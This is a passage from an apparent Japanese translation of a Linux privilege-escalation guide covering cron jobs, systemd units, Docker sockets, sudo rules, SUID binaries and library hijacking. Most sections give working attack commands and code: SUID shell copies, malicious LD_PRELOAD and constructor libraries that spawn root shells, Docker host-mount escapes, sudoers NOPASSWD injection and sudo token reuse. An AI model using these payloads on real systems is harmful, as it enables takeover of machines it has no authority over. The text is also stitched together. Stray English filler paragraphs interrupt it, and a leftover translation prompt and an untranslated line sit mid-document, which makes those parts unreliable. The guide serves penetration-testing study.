echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

もしrootによって実行されるスクリプトが、あなたが完全なアクセス権を持つディレクトリを使用している場合、そのフォルダを削除し、代わりにあなたが制御するスクリプトがある別のフォルダへのシンボリックリンクフォルダを作成することは有用かもしれません。

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

頻繁なcronジョブ

プロセスを監視して、1分、2分、または5分ごとに実行されているプロセスを検索することができます。これを利用して特権をエスカレーションすることができるかもしれません。

例えば、1分間に0.1秒ごとに監視し、実行されたコマンドが最も少ない順にソートし、最も実行されたコマンドを削除するには、次のようにします:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

pspyを使用することもできます（これにより、開始するすべてのプロセスが監視およびリストされます）。

目に見えないcronジョブ

コメントの後に改行文字を入れることで、cronジョブを作成することができます。例（改行文字に注意してください）：

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

サービス

書き込み可能な .service ファイル

.service ファイルを書き込むことができるかどうかを確認してください。もし書き込むことができれば、サービスが開始、再起動、または停止されたときにバックドアが実行されるようにそれを修正することができます（マシンが再起動されるまで待つ必要があるかもしれません）。
例えば、バックドアを .service ファイル内に作成し、ExecStart=/tmp/script.sh とします。

書き込み可能なサービスバイナリ

サービスによって実行されるバイナリに対して書き込み権限を持っている場合、バックドアに変更することができます。そのため、サービスが再実行されるとバックドアが実行されます。

systemd PATH - 相対パス

systemd が使用する PATH を以下のコマンドで確認できます：

systemctl show-environment

もし、パスのいずれかのフォルダに書き込みできることがわかった場合、特権の昇格が可能かもしれません。次のようなサービス設定ファイルで相対パスが使用されているものを探す必要があります。

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

次に、実行可能なファイルを作成し、相対パスのバイナリと同じ名前でsystemdのPATHフォルダに配置します。そして、サービスが脆弱なアクション（開始、停止、再読み込み）を実行するように要求されたときに、バックドアが実行されます（通常、特権のないユーザーはサービスの開始/停止ができませんが、sudo -lを使用できるかどうかを確認してください）。

**man systemd.service**でサービスについて詳しく学びましょう。

タイマー

タイマーは、名前が**.timer**で終わるsystemdユニットファイルで、**.service**ファイルやイベントを制御します。タイマーは、カレンダーイベントやモノトニックな時間イベントの組み込みサポートを持ち、非同期に実行することができるため、cronの代替として使用することができます。

次のコマンドですべてのタイマーを列挙できます：

systemctl list-timers --all

書き込み可能なタイマー

タイマーを変更できれば、systemd.unitの存在するもの（.serviceや.targetなど）を実行させることができます。

Unit=backdoor.service

ドキュメントでは、Unitについて次のように説明されています：

このタイマーが経過したときにアクティブ化するUnitです。引数はUnit名であり、接尾辞は".timer"ではありません。指定されていない場合、この値はタイマーUnitと同じ名前のServiceにデフォルトで設定されます（上記を参照）。タイマーUnitのUnit名とアクティブ化されるUnit名は、接尾辞を除いて同じ名前であることが推奨されています。

したがって、この権限を悪用するには、次のことが必要です：

書き込み可能なバイナリを実行しているsystemd Unit（たとえば、.service）を見つける
相対パスを実行しているsystemd Unitを見つけ、systemd PATHに対して書き込み権限を持つ（その実行可能ファイルをなりすますため）

man systemd.timerでタイマーについて詳しく学びましょう。

タイマーの有効化

タイマーを有効化するには、root権限が必要で、次のコマンドを実行します：

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

注意してください。タイマーは、/etc/systemd/system/<WantedBy_section>.wants/<name>.timerにそれへのシンボリックリンクを作成することでアクティブ化されます。

ソケット

簡単に言えば、Unixソケット（正確な名前はUnixドメインソケット、UDS）は、クライアントサーバーアプリケーションフレームワークで、同じマシンまたは異なるマシン上の2つの異なるプロセス間での通信を可能にするものです。より正確に言えば、これは標準のUnixディスクリプタファイルを使用してコンピュータ間で通信する方法です（ここから）。

ソケットは.socketファイルを使用して設定できます。

**man systemd.socketでソケットについて詳しく学びましょう。**このファイル内では、いくつかの興味深いパラメータを設定できます。

ListenStream、ListenDatagram、ListenSequentialPacket、ListenFIFO、ListenSpecial、ListenNetlink、ListenMessageQueue、ListenUSBFunction：これらのオプションは異なりますが、要約すると、ソケットがどこでリッスンするかを示します（AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など）。
Accept：真偽値の引数を取ります。trueの場合、受信した接続ごとにサービスインスタンスが生成され、接続ソケットのみが渡されます。falseの場合、すべてのリッスンソケット自体が開始されたサービスユニットに渡され、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットがすべての受信トラフィックを無条件に処理するデータグラムソケットとFIFOでは無視されます。デフォルトはfalseです。パフォーマンスのために、新しいデーモンはAccept=noに適した方法でのみ記述することを推奨します。
ExecStartPre、ExecStartPost：1つ以上のコマンドラインを取ります。これらはリッスンソケット/FIFOが作成およびバインドされる前後に実行されます。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。
ExecStopPre、ExecStopPost：これらは、リッスンソケット/FIFOが閉じられ、削除される前後に実行される追加のコマンドです。
Service：受信トラフィックでアクティブ化する****サービスユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されています。デフォルトでは、ソケットと同じ名前のサービス（接尾辞を置き換えたもの）が使用されます。ほとんどの場合、このオプションを使用する必要はありません。

書き込み可能な .socket ファイル

書き込み可能な.socketファイルを見つけた場合、[Socket]セクションの先頭にExecStartPre=/home/kali/sys/backdoorのようなものを追加することができます。そのため、ソケットが作成される前にバックドアが実行されます。したがって、おそらくマシンが再起動するまで待つ必要があります。
なお、システムはそのソケットファイルの設定を使用している必要があり、そうでない場合はバックドアは実行されません。

書き込み可能なソケット

（ここでは設定の.socketファイルについてではなく）書き込み可能なソケットを特定した場合、そのソケットと通信し、脆弱性を悪用することができるかもしれません。

Unixソケットの列挙

netstat -a -p --unix

生の接続

To establish a raw connection, you can use the nc command. This command allows you to connect to a specific IP address and port. Once the connection is established, you can send and receive data directly.

To connect to a remote server, use the following command:

nc <IP address> <port>

Replace <IP address> with the actual IP address of the server you want to connect to, and <port> with the port number you want to connect to.

For example, to connect to a server with the IP address 192.168.0.100 on port 8080, use the following command:

nc 192.168.0.100 8080

After establishing the connection, you can start sending and receiving data. To send data, simply type the desired message and press Enter. To receive data, you will see the incoming data displayed on your terminal.

To exit the connection, press Ctrl + C.

Keep in mind that establishing a raw connection can be useful for various purposes, such as testing network connectivity or troubleshooting network issues. However, it can also be used for malicious activities, so always ensure you have proper authorization before attempting to establish a raw connection.

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

{% content-ref url="socket-command-injection.md" %} socket-command-injection.md {% endcontent-ref %}

HTTP ソケット

HTTP リクエストを待ち受ける ソケット がいくつか存在する可能性があります（私は .socket ファイルではなく、UNIX ソケットとして機能するファイルについて話しています）。次のコマンドで確認できます:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

もしソケットがHTTPの応答を返すなら、それと通信し、おそらくいくつかの脆弱性を悪用することができます。

書き込み可能なDockerソケット

Dockerソケットは通常、/var/run/docker.sockにあり、rootユーザーとdockerグループのみが書き込み権限を持っています。
もし何らかの理由でそのソケットに対して書き込み権限を持っている場合、特権を昇格させることができます。
以下のコマンドを使用して特権を昇格させることができます:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Dockerパッケージを使用せずに、ソケットからDocker Web APIを使用する

もしDockerソケットにアクセス権があるが、Dockerバイナリを使用できない場合（おそらくインストールされていないかもしれません）、curlを使って直接Web APIを使用することができます。

以下のコマンドは、ホストシステムのルートをマウントするDockerコンテナを作成し、socatを使用して新しいDockerにコマンドを実行する方法の例です。

# List docker images
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
#[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
# Send JSON to docker API to create the container
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
#{"Id":"<NewContainerID>","Warnings":[]}
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

最後のステップは、socatを使用してコンテナに接続し、"attach"リクエストを送信することです。

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

#HTTP/1.1 101 UPGRADED
#Content-Type: application/vnd.docker.raw-stream
#Connection: Upgrade
#Upgrade: tcp

その他

注意してください。もし、あなたが**dockerグループに所属している**ためにdockerソケットに対して書き込み権限を持っている場合、特権をエスカレーションするためのさらなる方法があります。もし、docker APIがポートでリッスンしている場合、それを侵害することもできるかもしれません。

Dockerを脱出するためのさらなる方法や特権をエスカレーションするためにそれを悪用する方法については、以下を確認してください：

{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}

Containerd (ctr) 特権エスカレーション

もし、**ctr**コマンドを使用できることがわかった場合、以下のページを読んでください。特権をエスカレーションするためにそれを悪用することができるかもしれません：

{% content-ref url="containerd-ctr-privilege-escalation.md" %} containerd-ctr-privilege-escalation.md {% endcontent-ref %}

RunC 特権エスカレーション

もし、**runc**コマンドを使用できることがわかった場合、以下のページを読んでください。特権をエスカレーションするためにそれを悪用することができるかもしれません：

{% content-ref url="runc-privilege-escalation.md" %} runc-privilege-escalation.md {% endcontent-ref %}

D-Bus

D-BUSは、プロセス間通信（IPC）システムであり、アプリケーション同士が簡単にコミュニケーションを取り合い、情報をやり取りし、サービスを要求するための強力なメカニズムを提供します。D-BUSは、現代のLinuxシステムのニーズを満たすために、ゼロから設計されました。

D-BUSは、完全な機能を備えたIPCおよびオブジェクトシステムであり、いくつかの目的で使用することができます。まず、D-BUSは基本的なアプリケーションIPCを実行できます。つまり、1つのプロセスがデータを別のプロセスに転送することができます。UNIXドメインソケットを強化したものと考えてください。次に、D-BUSはイベントまたはシグナルをシステムを通じて送信することができます。これにより、システム内の異なるコンポーネントがコミュニケーションを行い、最終的にはより良く統合することができます。たとえば、Bluetoothデーモンは着信コールシグナルを送信し、音楽プレーヤーはそれを受信して、通話が終了するまで音量をミュートにすることができます。最後に、D-BUSはリモートオブジェクトシステムを実装しており、1つのアプリケーションが異なるオブジェクトからサービスを要求し、メソッドを呼び出すことができます。複雑さのないCORBAのようなものと考えてください。（ここから）

D-Busは、各メッセージ（メソッド呼び出し、シグナル送信など）が一致するすべてのポリシールールの合計に応じて、許可または拒否される許可/拒否モデルを使用します。ポリシーの各ルールは、own、send_destination、またはreceive_sender属性が設定されている必要があります。

/etc/dbus-1/system.d/wpa_supplicant.confのポリシーの一部：

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

したがって、ポリシーがユーザーがバスとやり取りすることを許可している場合、特権をエスカレーションするためにそれを悪用することができるかもしれません（おそらくいくつかのパスワードをリストアップするだけです）。

ユーザーまたはグループを指定しないポリシーは、誰にでも影響を与えます（<policy>）。
コンテキスト「default」のポリシーは、他のポリシーに影響を受けないすべての人に影響を与えます（<policy context="default"）。

D-Bus通信の列挙とエスカレーションの方法を学ぶには、こちらを参照してください:

{% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %} d-bus-enumeration-and-command-injection-privilege-escalation.md {% endcontent-ref %}

ネットワーク

ネットワークの列挙を行い、マシンの位置を特定することは常に興味深いです。

一般的な列挙

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

オープンポート

アクセスする前に、以前に対話できなかったマシンで実行されているネットワークサービスを常にチェックしてください。

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

スニッフィング

トラフィックをスニッフィングできるかどうかを確認してください。もしできる場合、いくつかの資格情報を取得することができるかもしれません。

timeout 1 tcpdump

ユーザー

一般的な列挙

自分が誰であるか、どのような特権を持っているか、システムにはどのようなユーザーがいるか、どのユーザーがログインできるか、どのユーザーがルート特権を持っているかを確認します。

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

一部のLinuxバージョンは、UID > INT_MAXを持つユーザーが特権をエスカレーションできるバグの影響を受けました。詳細はこちら、こちら、およびこちらを参照してください。
systemd-run -t /bin/bashを使用してエクスプロイトします。

グループ

ルート権限を付与できる可能性のあるいくつかのグループのメンバーであるかどうかを確認してください：

{% content-ref url="interesting-groups-linux-pe/" %} interesting-groups-linux-pe {% endcontent-ref %}

クリップボード

クリップボード内に興味深い情報があるかどうかを確認してください（可能な場合）。

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

パスワードポリシー

A strong password policy is essential for maintaining the security of a system. It helps prevent unauthorized access and protects sensitive information. Here are some key elements to consider when creating a password policy:

Password Complexity: Require passwords to be a minimum length and include a combination of uppercase and lowercase letters, numbers, and special characters.
Password Expiration: Set a maximum password age and enforce regular password changes to reduce the risk of compromised passwords.
Password History: Maintain a history of previous passwords to prevent users from reusing old passwords.
Account Lockout: Implement an account lockout policy to temporarily lock user accounts after a certain number of failed login attempts.
Password Recovery: Establish a secure password recovery process that verifies the identity of the user before allowing password resets.
Education and Awareness: Educate users about the importance of strong passwords and provide guidance on creating and managing secure passwords.

By implementing a robust password policy, you can significantly enhance the security of your system and protect against unauthorized access.

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

既知のパスワード

もし環境のパスワードを知っている場合は、各ユーザーにログインを試みることができます。

Su Brute

もし、多くのノイズを気にしないし、suとtimeoutバイナリがコンピュータに存在する場合は、su-bruteforceを使用してユーザーをブルートフォースすることができます。
Linpeasは、-aパラメータを使用してユーザーをブルートフォースすることもできます。

書き込み可能なPATHの悪用

$PATH

もし、$PATHのいくつかのフォルダに書き込みができることがわかった場合は、書き込み可能なフォルダにバックドアを作成することで特権を昇格させることができるかもしれません。バックドアの名前は、別のユーザー（理想的にはroot）によって実行される予定のコマンドの名前であり、$PATHの書き込み可能なフォルダよりも前のフォルダからはロードされないものである必要があります。

SUDOとSUID

sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットが設定されているかを確認してください。以下のコマンドを使用して確認します。

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

いくつかの予期しないコマンドによって、ファイルの読み取りや書き込み、さらにはコマンドの実行が可能になります。 例えば：

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudoの設定によって、パスワードを知らずに他のユーザーの特権でコマンドを実行することができる場合があります。

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

この例では、ユーザー demo は root として vim を実行できます。したがって、ルートディレクトリにSSHキーを追加するか、sh を呼び出すことでシェルを取得することは非常に簡単です。

sudo vim -c '!sh'

SETENV

このディレクティブは、何かを実行する際に環境変数を設定することをユーザーに許可します。

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

この例は、HTBマシンAdmirerをベースにしており、スクリプトをrootとして実行する際に任意のPythonライブラリを読み込むためにPYTHONPATHハイジャックに対して脆弱でした。

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

パスをバイパスしてSudoを実行する

他のファイルを読み取るか、シンボリックリンクを使用します。例えば、sudoersファイルでは次のようになります: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

ワイルドカード（*）が使用される場合、さらに簡単です：

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

対策: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

コマンドパスを指定せずにSudoコマンド/SUIDバイナリを使用する

もし、sudo権限がパスを指定せずに単一のコマンドに与えられている場合、例えば hacker10 ALL= (root) less のような場合、PATH変数を変更することでこれを悪用することができます。

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

このテクニックは、suid バイナリがパスを指定せずに別のコマンドを実行する場合にも使用することができます（常に**strings**で奇妙なSUIDバイナリの内容を確認してください）。

実行するためのペイロードの例

コマンドパスを指定したSUIDバイナリ

もし、suid バイナリがパスを指定して別のコマンドを実行する場合、その場合は、suidファイルが呼び出しているコマンドと同じ名前の関数を作成してエクスポートすることができます。

例えば、suidバイナリが /usr/sbin/service apache2 start を呼び出している場合、関数を作成してエクスポートする必要があります。

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

LD_PRELOAD & LD_LIBRARY_PATH

LD_PRELOADは、ローダーがCランタイムライブラリ（libc.so）を含む他のすべての共有ライブラリよりも前にロードする共有ライブラリまたは共有オブジェクトのパスを1つ以上含むオプションの環境変数です。これはライブラリのプリロードと呼ばれます。

_suid/sgid_実行可能バイナリの攻撃ベクトルとしてこのメカニズムが使用されるのを防ぐために、ローダーは_ruid != euid_の場合に_LD_PRELOAD_を無視します。このようなバイナリでは、_suid/sgid_である標準パスのライブラリのみがプリロードされます。

**sudo -l**の出力の中に「env_keep+=LD_PRELOAD」という文がある場合、sudoを使用していくつかのコマンドを呼び出すことができるため、特権を昇格させることができます。

Defaults        env_keep += LD_PRELOAD

/tmp/pe.cとして保存してください。

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

次に、次のコマンドを使用してコンパイルします：

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

最後に、特権をエスカレーションして実行します。

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

{% hint style="danger" %} 攻撃者がLD_LIBRARY_PATH環境変数を制御している場合、同様の特権昇格が悪用される可能性があります。なぜなら、攻撃者はライブラリが検索されるパスを制御しているからです。 {% endhint %}

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUIDバイナリ - .soインジェクション

もし、SUID権限を持つ奇妙なバイナリを見つけた場合、すべての**.soファイルが正しくロードされているか**を確認することができます。以下のコマンドを実行してください。

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

たとえば、次のようなものが見つかった場合には、それを悪用することができます: pen(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (ファイルやディレクトリが存在しません)。

次のコードを使用して、ファイル /home/user/.config/libcalc.c を作成します:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

以下のコマンドを使用してコンパイルします:

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

共有オブジェクトのハイジャック

Shared Object Hijacking（共有オブジェクトのハイジャック）は、特権昇格のための一般的なテクニックです。この攻撃では、悪意のある共有オブジェクトをターゲットシステムに注入し、特権を取得します。

攻撃手順

ターゲットアプリケーションの共有オブジェクトを特定します。
悪意のある共有オブジェクトを作成します。
悪意のある共有オブジェクトをターゲットシステムに配置します。
ターゲットアプリケーションを再起動するか、再読み込みします。
ターゲットアプリケーションが悪意のある共有オブジェクトを読み込むようにします。
悪意のある共有オブジェクトが特権を取得し、攻撃者に制御を与えます。

防御策

以下の対策を実施することで、Shared Object Hijacking（共有オブジェクトのハイジャック）攻撃を防ぐことができます。

ターゲットアプリケーションの共有オブジェクトのパスを絶対パスにする。
システムの共有オブジェクトのパスを制限する。
ターゲットアプリケーションの権限を制限する。
ターゲットアプリケーションの署名を検証する。
システムの共有オブジェクトを定期的に監視し、異常な変更を検知する。

以上の対策を実施することで、Shared Object Hijacking（共有オブジェクトのハイジャック）攻撃からシステムを保護することができます。

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

以下は、特権昇格に関する情報を提供するハッキングの本からのコンテンツです。以下のコンテンツは、ファイルlinux-hardening/privilege-escalation/README.mdからのものです。関連する英文を日本語に翻訳し、翻訳結果を返してください。翻訳結果は、元のマークダウンおよびHTMLの構文を保持したままである必要があります。コード、ハッキング技術の名前、ハッキングに関連する用語、クラウド/SaaSプラットフォームの名前（Workspace、aws、gcpなど）、"leak"という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加要素は追加しないでください。

Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name:

今、書き込みができるフォルダからライブラリを読み込むSUIDバイナリを見つけたので、必要な名前でそのフォルダにライブラリを作成しましょう。

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

もし、以下のようなエラーが表示された場合、

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

そのため、生成したライブラリには a_function_name という名前の関数が必要です。

GTFOBins

GTFOBins は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリの選別されたリストです。GTFOArgs は、コマンドに引数のみを注入できる場合に使用します。

このプロジェクトは、Unixバイナリの正当な機能を収集し、制限されたシェルからの脱出、特権の昇格または維持、ファイルの転送、バインドシェルとリバースシェルの生成、および他のポストエクスプロイテーションタスクを容易にします。

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

{% embed url="https://gtfobins.github.io/" %}

{% embed url="https://gtfoargs.github.io/" %}

FallOfSudo

sudo -l にアクセスできる場合、ツール FallOfSudo を使用して、どのsudoルールを悪用できるかを確認できます。

Sudoトークンの再利用

sudo特権を持つユーザーとしてシェルにアクセスできる シナリオでは、ユーザーのパスワードがわからない場合でも、ユーザーが sudo を使用してコマンドを実行するのを待つことができます。その後、sudoが使用されたセッションのトークンにアクセスし、それを使用してsudoとして任意のコマンドを実行できます（特権昇格）。

特権昇格のための要件：

すでにユーザー "sampleuser" としてシェルにアクセスできる
"sampleuser" が最後の15分間に sudo を使用して何かを実行している（デフォルトでは、パスワードを入力せずに sudo を使用できるsudoトークンの有効期間）
cat /proc/sys/kernel/yama/ptrace_scope が0である
gdb にアクセスできる（アップロードできる必要があります）

（echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope を使用して一時的に ptrace_scope を有効にするか、/etc/sysctl.d/10-ptrace.conf を変更して kernel.yama.ptrace_scope = 0 と設定して永久に有効にすることができます）

これらの要件がすべて満たされている場合、次のように特権を昇格できます：https://github.com/nongiach/sudo_inject

最初のエクスプロイト（exploit.sh）は、tmp 内に activate_sudo_token というバイナリを作成します。これを使用して、セッションでsudoトークンをアクティブにすることができます（自動的にルートシェルは取得できませんので、sudo su を実行してください）：

bash exploit.sh
/tmp/activate_sudo_token
sudo su

第二のエクスプロイト (exploit_v2.sh) は、root が所有し setuid が設定された /tmp に sh シェルを作成します。

bash exploit_v2.sh
/tmp/sh -p

第三のエクスプロイト (exploit_v3.sh) は、sudo トークンを永続化し、すべてのユーザーが sudo を使用できるようにする sudoers ファイルを作成します。

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<ユーザー名>

もし、そのフォルダまたはフォルダ内の作成されたファイルのいずれかに書き込み権限がある場合、バイナリwrite_sudo_tokenを使用して、ユーザーとPIDのためのsudoトークンを作成することができます。
例えば、ユーザー名がsampleuserで、PIDが1234のシェルを持っている場合、ファイル_/var/run/sudo/ts/sampleuser_を上書きすることができ、パスワードを知る必要なくsudo特権を取得することができます。以下のように実行します：

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

ファイル /etc/sudoers と /etc/sudoers.d 内のファイルは、sudo を使用できるユーザーとその方法を設定します。これらのファイルはデフォルトでは root ユーザーと root グループのみが読み取り可能です。
このファイルを読み取ることができる場合、興味深い情報を入手することができるかもしれません。また、任意のファイルを書き込むことができる場合、特権を昇格させることができます。

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

もし書き込み権限があれば、それを悪用することができます。

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

これらの権限を悪用する別の方法:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

sudoバイナリの代わりに、OpenBSD用のdoasなどのいくつかの代替手段があります。/etc/doas.confでその設定を確認することを忘れないでください。

permit nopass demo as root cmd vim

Sudoハイジャック

もし、あるユーザーが通常マシンに接続し、特権を昇格させるためにsudoを使用することを知っている場合、そのユーザーコンテキスト内でシェルを取得した場合、rootとしてコードを実行し、その後ユーザーのコマンドを実行する新しいsudo実行可能ファイルを作成することができます。そして、ユーザーコンテキストの$PATHを変更します（たとえば、.bash_profileに新しいパスを追加する）ので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。

ただし、ユーザーが異なるシェル（bash以外）を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があります。たとえば、sudo-piggybackは~/.bashrc、~/.zshrc、~/.bash_profileを変更します。bashdoor.pyにも別の例があります。

共有ライブラリ

ld.so

ファイル/etc/ld.so.confは、ロードされた設定ファイルの場所を示しています。通常、このファイルには次のパスが含まれています：include /etc/ld.so.conf.d/*.conf

これは、/etc/ld.so.conf.d/*.confの設定ファイルが読み込まれることを意味します。この設定ファイルは、ライブラリが検索される他のフォルダーを指すことがあります。たとえば、/etc/ld.so.conf.d/libc.confの内容は/usr/local/libです。これはシステムが/usr/local/lib内のライブラリを検索することを意味します。

もし何らかの理由で、ユーザーが以下のいずれかのパスに書き込み権限を持っている場合：/etc/ld.so.conf、/etc/ld.so.conf.d/、/etc/ld.so.conf.d/内の任意のファイル、または/etc/ld.so.conf.d/*.conf内の設定ファイル内の任意のフォルダー、特権を昇格させることができるかもしれません。
次のページで、この設定ミスをどのように悪用するかを見てみましょう：

{% content-ref url="ld.so.conf-example.md" %} ld.so.conf-example.md {% endcontent-ref %}

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

RPATH変数で指定された場所にあるプログラムが、/var/tmp/flag15/にあるlibをコピーすることで使用されます。

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

